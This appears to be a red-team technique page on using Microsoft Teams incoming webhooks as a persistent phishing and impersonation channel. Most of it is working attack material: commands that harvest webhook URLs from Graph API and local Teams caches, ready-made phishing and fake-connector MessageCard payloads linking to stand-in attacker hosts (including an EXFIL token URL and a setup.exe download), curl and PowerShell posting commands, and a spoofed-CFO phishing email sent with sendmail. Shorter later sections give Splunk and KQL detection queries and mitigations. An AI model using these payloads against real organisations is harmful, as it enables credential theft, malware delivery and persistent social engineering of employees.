| Attribute | Details |
|---|---|
| Technique ID | PERSIST-SERVER-004 |
| MITRE ATT&CK v18.1 | T1505.003 - Server Software Component: Web Shell |
| Tactic | Persistence |
| Platforms | M365 |
| Severity | High |
| CVE | N/A (Design flaw; no authentication required) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | All Microsoft Teams versions (Web, Desktop, Mobile) |
| Patched In | N/A (Microsoft MSRC closed without fix as of Jan 2024) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Microsoft Teams Incoming Webhooks (Connectors) allow external systems to post messages to Teams channels without authentication. An attacker who discovers or extracts a webhook URL can send arbitrary messages to the channel appearing as a legitimate connector application, even after losing access to the organization’s Teams account. Webhook URLs persist indefinitely unless explicitly deleted by a team owner, and by default, users can configure webhooks in any channel they access. This creates a persistent backdoor: even if an attacker’s account is disabled or passwords are reset, the webhook URL remains valid and can be used to send phishing messages, impersonate applications, post malware links, or conduct social engineering attacks directly within the organization’s Teams infrastructure.
Attack Surface: Teams Incoming Webhook URLs, Connector configurations, Channel message posting APIs, Message card JSON payloads (for crafting phishing/impersonation content).
Business Impact: Persistent Command & Control / Social Engineering Channel. An attacker maintains indefinite access to post messages to Teams channels appearing as legitimate connectors. This enables:
Technical Context: Exploitation requires 5-10 minutes with initial Teams access (or a leaked webhook URL). Detection likelihood is Medium if Teams message auditing and connector usage logs are reviewed. However, messages posted via webhooks appear legitimate and can blend in with normal channel traffic.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 2.2.4 | Ensure that external access is restricted |
| DISA STIG | M365-1-1 | Configure message retention and archiving |
| CISA SCuBA | CA-2(1) | Automated Detection and Prevention Controls |
| NIST 800-53 | AC-2(3), AU-2 | Incident Monitoring and Unauthorized Access Detection |
| GDPR | Art. 32 | Security Measures; Unauthorized Access Logging |
| DORA | Art. 18 | Testing and Monitoring of Security Controls |
| NIS2 | Art. 21(f) | Incident Response and Forensics |
| ISO 27001 | A.6.1.3, A.9.2.3 | Access Control; Monitoring and Logging |
| ISO 27005 | Section 7 | Risk Assessment - Unauthorized Message Posting |
curl or Invoke-WebRequest (for sending webhook payloads)Supported Versions: All Teams versions
Prerequisites: User access to Teams channels; ability to view connector configurations (channel owner/team owner privileges, or leaked webhook URL).
Objective: Extract existing webhook URLs from a channel, which persist even after account compromise or credential resets.
Command (Via Teams Admin Center - Requires Owner Access):
# Connect to Teams PowerShell
Connect-MicrosoftTeams
# Get all teams and their channels
$teams = Get-Team
foreach ($team in $teams) {
Write-Host "Team: $($team.DisplayName)"
# Get all channels in the team
$channels = Get-TeamChannel -GroupId $team.GroupId
foreach ($channel in $channels) {
Write-Host " Channel: $($channel.DisplayName)"
# Get channel configuration (may reveal webhook details in some cases)
# Note: MS PowerShell doesn't expose webhook URLs directly; must check via API
}
}
Command (Via Graph API - Extract Webhook URLs):
# Authenticate and get access token
TOKEN=$(az account get-access-token --resource "https://graph.microsoft.com" --query "accessToken" -o tsv)
# List all Teams
curl -s "https://graph.microsoft.com/v1.0/teams" \
-H "Authorization: Bearer $TOKEN" | jq '.value[].id'
# For each team, list channels and connectors
TEAM_ID="12345678-1234-1234-1234-123456789012"
curl -s "https://graph.microsoft.com/v1.0/teams/$TEAM_ID/channels" \
-H "Authorization: Bearer $TOKEN" | jq '.value[].id'
# Get channel configuration (webhooks may be visible via configuration)
# Note: Graph API for webhooks is limited; direct URL extraction requires Teams Web client access
Alternative - Web Scraping (If Webhook URLs are Visible in Channel Settings):
# Access the Teams web client and extract webhook from DevTools
# Webhooks are configured at: https://teams.microsoft.com/v2/channels/{channelId}/tabs
# Or, check Team's configuration files if attacker has local file system access
# Windows: %APPDATA%\Microsoft\Teams\Cache\
# Linux: ~/.config/microsoft-teams/Cache/
grep -r "webhook.office.com" ~/.config/microsoft-teams/Cache/ 2>/dev/null
Expected Output:
https://outlook.webhook.office.com/webhookb2/XXXXX-XXXXX-XXXXX/IncomingWebhook/XXXXXXX/XXXXXXX
What This Means:
OpSec & Evasion:
References & Proofs:
Objective: Create a message card that mimics a legitimate Teams connector (e.g., GitHub, Jira, ServiceNow) to deceive users.
Command (Create Phishing Message Card):
# Phishing message card (appears as "GitHub" connector)
cat > phishing_payload.json << 'EOF'
{
"@type": "MessageCard",
"@context": "https://schema.org/extensions",
"summary": "Security Alert",
"themeColor": "0078D4",
"title": "🔒 Urgent: Verify Your Microsoft 365 Account",
"sections": [
{
"activityTitle": "Microsoft 365 Security Team",
"activitySubtitle": "Suspicious Activity Detected",
"text": "Your account has been flagged for unusual sign-in activity. Please verify your identity immediately by clicking the button below.",
"potentialAction": [
{
"@type": "OpenUri",
"name": "Verify Account",
"targets": [
{
"os": "default",
"uri": "https://attacker-phishing-site.com/login.html"
}
]
}
]
}
]
}
EOF
# Read the JSON (for use in curl)
PAYLOAD=$(cat phishing_payload.json | jq -c .)
Command (Create Impersonation Message Card - Fake Application):
{
"@type": "MessageCard",
"@context": "https://schema.org/extensions",
"summary": "Build Status",
"themeColor": "28a745",
"title": "✅ Build Pipeline - Main Branch",
"@from": "Azure DevOps",
"sections": [
{
"activityTitle": "Pipeline Completed",
"activitySubtitle": "Merge request approved",
"text": "Your pull request has been merged. **Attention:** An urgent security patch has been deployed. Click below to review deployment logs.",
"potentialAction": [
{
"@type": "OpenUri",
"name": "View Logs",
"targets": [
{
"os": "default",
"uri": "https://attacker-c2-server.com/logs?token=EXFIL"
}
]
}
]
}
]
}
What This Means:
OpSec & Evasion:
Objective: Post the crafted message card to the channel using the webhook URL.
Command (Send Phishing Message via Webhook):
WEBHOOK_URL="https://outlook.webhook.office.com/webhookb2/XXXXX/IncomingWebhook/XXXXX/XXXXX"
# Create minimal payload
curl -X POST "$WEBHOOK_URL" \
-H "Content-Type: application/json" \
-d '{
"@type": "MessageCard",
"@context": "https://schema.org/extensions",
"summary": "Alert",
"themeColor": "0078D4",
"title": "⚠️ Security: Verify Your Identity Now",
"sections": [
{
"text": "Click below to confirm your account details",
"potentialAction": [
{
"@type": "OpenUri",
"name": "Verify Now",
"targets": [
{"os": "default", "uri": "https://phishing-site.attacker.com/verify"}
]
}
]
}
]
}'
Command (Send via PowerShell):
$webhook = "https://outlook.webhook.office.com/webhookb2/XXXXX/IncomingWebhook/XXXXX/XXXXX"
$payload = @{
"@type" = "MessageCard"
"@context" = "https://schema.org/extensions"
"summary" = "Security Alert"
"themeColor" = "0078D4"
"title" = "🔒 Urgent Account Verification Required"
"sections" = @(
@{
"activityTitle" = "Microsoft 365 Security Team"
"text" = "Unusual login activity detected. Verify your identity now."
"potentialAction" = @(
@{
"@type" = "OpenUri"
"name" = "Verify Account"
"targets" = @(
@{"os" = "default"; "uri" = "https://attacker-phishing.com/login"}
)
}
)
}
)
}
Invoke-WebRequest -Uri $webhook -Method Post -Body ($payload | ConvertTo-Json -Depth 5) -ContentType "application/json"
Expected Output:
1
A response of 1 indicates the message was posted successfully.
What This Means:
OpSec & Evasion:
References & Proofs:
Objective: Use message card action buttons to capture credentials or trigger downloads.
Command (Create Credential Harvesting Card):
{
"@type": "MessageCard",
"@context": "https://schema.org/extensions",
"summary": "Password Reset Required",
"themeColor": "ff0000",
"title": "⚠️ Action Required: Password Reset",
"sections": [
{
"text": "Your Microsoft 365 password will expire in 24 hours. Please update it immediately to maintain access.",
"potentialAction": [
{
"@type": "OpenUri",
"name": "Reset Password",
"targets": [
{
"os": "default",
"uri": "https://attacker-phishing-site.com/reset-password?user=$(whoami)&org=$(hostname)"
}
]
},
{
"@type": "OpenUri",
"name": "FAQ",
"targets": [
{
"os": "default",
"uri": "https://attacker-c2-server.com/download/setup.exe"
}
]
}
]
}
]
}
What This Means:
Supported Versions: Teams Desktop Client (Windows, Mac, Linux)
Prerequisites: Local or remote access to the endpoint running Teams desktop client.
Objective: Extract webhook URLs from Teams local storage, enabling persistence even if the attacker loses network access.
Command (Windows - Extract from Cache):
# Teams stores webhook URLs in the local cache
$teamsPath = "$env:APPDATA\Microsoft\Teams\Cache"
# Search for webhook URLs in cached files
Get-ChildItem -Path $teamsPath -Recurse -Filter "*.json" |
ForEach-Object {
Select-String -Path $_.FullName -Pattern "webhook.office.com" -ErrorAction SilentlyContinue
}
# Alternative: Extract from Indexed DB (Teams Web storage)
# Location: $env:APPDATA\Microsoft\Teams\IndexedDB\
dir "$env:APPDATA\Microsoft\Teams\IndexedDB" /s | findstr webhook
Command (Mac/Linux - Extract from Cache):
# Mac
grep -r "webhook.office.com" ~/Library/Application\ Support/Microsoft/Teams/Cache/
# Linux
grep -r "webhook.office.com" ~/.config/microsoft-teams/Cache/
# Alternative: Check Teams configuration files
cat ~/.config/microsoft-teams/app.json | grep -i webhook
Expected Output:
https://outlook.webhook.office.com/webhookb2/12345678-1234-1234/IncomingWebhook/6789ABCDEF/0123456789
What This Means:
OpSec & Evasion:
Supported Versions: All Teams versions
Prerequisites: Knowledge of Teams channel email address (format: ChannelName@TeamName.teams.microsoft.com); ability to send emails.
Objective: Use Teams channel email addresses as an alternative persistence mechanism.
Command (Send Phishing Email to Channel):
# Teams channels can receive emails; messages appear in the channel as if posted by email sender
# This can be abused to send phishing emails to a Teams channel
# Step 1: Discover channel email address
# (Usually visible in channel settings, or can be inferred from pattern)
CHANNEL_EMAIL="Sales-Announcements@CompanyName.teams.microsoft.com"
# Step 2: Craft phishing email
cat > phishing_email.txt << 'EOF'
From: fake-cfo@company.com
To: Sales-Announcements@CompanyName.teams.microsoft.com
Subject: Urgent: Salary Review Process - Action Required
Hi Team,
Please review your salary information and click below to confirm details:
https://attacker-phishing-site.com/salary-review
Best regards,
CFO Office
EOF
# Step 3: Send via SMTP (if external SMTP is available)
sendmail -t < phishing_email.txt
What This Means:
OpSec & Evasion:
Rule Configuration:
SPL Query:
index=teams_audit Operation=PostMessage TargetObject="*webhook*"
| stats count by TargetObject, UserId, TeamId
| where count > 10
What This Detects:
Manual Configuration Steps:
Rule Configuration:
SPL Query:
index=o365_management Operation IN ("AddConnector", "UpdateConnector", "RemoveConnector")
OR search="*webhook*"
| fields _time, Operation, UserId, ObjectId
What This Detects:
Rule Configuration:
KQL Query:
TeamsAuditLogs
| where Operation == "PostMessage"
| where tostring(Properties) contains "webhook" or tostring(Properties) contains "connector"
| summarize MessageCount=count() by ChannelId, TimeGenerated
| where MessageCount > 10
| project TimeGenerated, ChannelId, MessageCount
What This Detects:
Manual Configuration Steps (Azure Portal):
Abnormal Teams Webhook Message ActivityHigh10 minutes1 hourAudit and Document All Webhook Connectors: Regularly review which webhooks are configured in Teams channels and verify they are legitimate and actively maintained. Applies To Versions: All
Manual Steps (Teams Admin Center):
Manual Steps (PowerShell):
# Connect to Teams
Connect-MicrosoftTeams
# Get all teams and their webhooks
$teams = Get-Team
foreach ($team in $teams) {
$channels = Get-TeamChannel -GroupId $team.GroupId
foreach ($channel in $channels) {
Write-Host "Team: $($team.DisplayName) | Channel: $($channel.DisplayName)"
# Note: PowerShell doesn't expose webhooks directly; must use Teams Web UI
}
}
Disable Webhook Connectors Organization-Wide if Not Needed: If Teams webhooks are not actively used, disable them to eliminate this persistence vector entirely. Applies To Versions: All
Manual Steps (Teams Admin Center):
Manual Steps (PowerShell):
# Block Teams Connector app
Update-TeamsApp -Identity "0d820ecd-def2-4297-adad-78056cde7c78" -Blocked $true
Enable Teams Audit Logging: Ensure all Teams activities (including webhook posts) are logged for review. Applies To Versions: All
Manual Steps (Compliance Center):
Implement Teams Message Retention Policies: Automatically delete suspicious messages or messages from external connectors after a set retention period. Applies To Versions: All
Manual Steps (Teams Admin Center):
Restrict Webhook Messages30 daysRestrict Webhook Connector Permissions: Only team owners (not regular members) should be able to create webhooks. Applies To Versions: All (with conditional restrictions)
Manual Steps (Teams Admin Center):
Block Webhook URL Leakagewebhook.office.comRestrict Teams Webhook ConfigurationWebhook Manager# Check if Teams audit logging is enabled
$auditStatus = Get-UnifiedAuditLogRetentionPolicy
Write-Host "Audit Logging Enabled: $($auditStatus.Enabled)"
# List all configured webhooks in Teams (requires admin)
# Note: Direct PowerShell export not available; must use Teams Admin Center UI
# Check DLP policies for webhook URL patterns
Get-DlpCompliancePolicy | Where-Object {$_.ContentContains -like "*webhook*"} | Select-Object Name, Description
# Check Conditional Access policy for Teams webhook restrictions
Get-ConditionalAccessPolicy | Where-Object {$_.DisplayName -like "*Webhook*"} | Select-Object DisplayName, State
Expected Output (If Secure):
Audit Logging Enabled: True
DLP Policy Name: Block Webhook URL Leakage (Active)
No unauthorized webhooks found in Teams channels
Conditional Access enforcing MFA for webhook configuration
What to Look For:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-005] Internal Spearphishing | Attacker gains initial access via phishing email |
| 2 | Privilege Escalation | [PE-ACCTMGMT-002] Exchange Admin Escalation | Escalate to Teams admin via role manipulation |
| 3 | Current Step | [PERSIST-SERVER-004] | Teams Webhook Persistence - Create backdoor webhook |
| 4 | Command & Control | Phishing/Social Engineering via Teams | Use webhooks to send fake IT alerts, CEO requests |
| 5 | Lateral Movement | [LM-AUTH-013] EWS Impersonation | Escalate to mailbox access via compromised tokens |
| 6 | Impact | Data exfiltration, ransomware deployment, credential harvesting |